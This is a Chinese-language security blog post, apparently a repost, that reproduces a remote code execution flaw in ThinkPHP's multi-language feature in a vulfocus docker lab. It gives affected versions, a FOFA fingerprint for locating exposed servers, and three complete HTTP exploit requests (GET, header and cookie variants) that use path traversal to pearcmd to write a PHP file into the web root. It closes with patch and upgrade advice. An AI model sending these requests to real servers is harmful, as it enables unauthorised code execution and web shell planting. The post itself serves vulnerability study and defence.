Thinkphp 多语言远程命令执行漏洞复现
2022-12-12 21:3:48 Author: 网络安全透视镜(查看原文) 阅读量:116 收藏

漏洞描述:

若Thinkphp 程序开启了多语言功能,则可通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

影响范围

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

利用条件:

1.多语言开启

2.安装了pear扩展

3.知道pearcmd.php路径

  1. register_argc_argv=on

fofa指纹:

header="think_lang"

漏洞复现:

开启靶机环境

docker run -it -d -p 80:80  vulfocus/thinkphp:6.0.12

Get:

GET /public/?index.php+config-create+&lang=../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/4.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

(6.0未成功,5.0成功)

Header:

GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/1.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closethink-lang:../../../../../../../../usr/local/lib/php/pearcmdCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

Cookie:

GET /public/index.php?+config-create+/<?=phpinfo()?>+/var/www/html/3.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie:think_lang=../../../../../../../../usr/local/lib/php/pearcmdUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

源码分析:

http://tttang.com/archive/1865/

修复建议:

1、若无必要,可关闭多语言功能,可参考文档

https://www.kancloud.cn/manual/thinkphp6_0/1037637

https://static.kancloud.cn/manual/thinkphp5/118132

2、官方已发布6.0.14、5.1.42,建议升级至安全版本。

https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247492880&idx=1&sn=9ae35161f52bfafd893ac796926e120d&chksm=974c4228a03bcb3eae5ab1c9bc4cfbbc9a406e48b97bd76b44e13a23d5178f39749b50a889e5#rd
如有侵权请联系:admin#unsafe.sh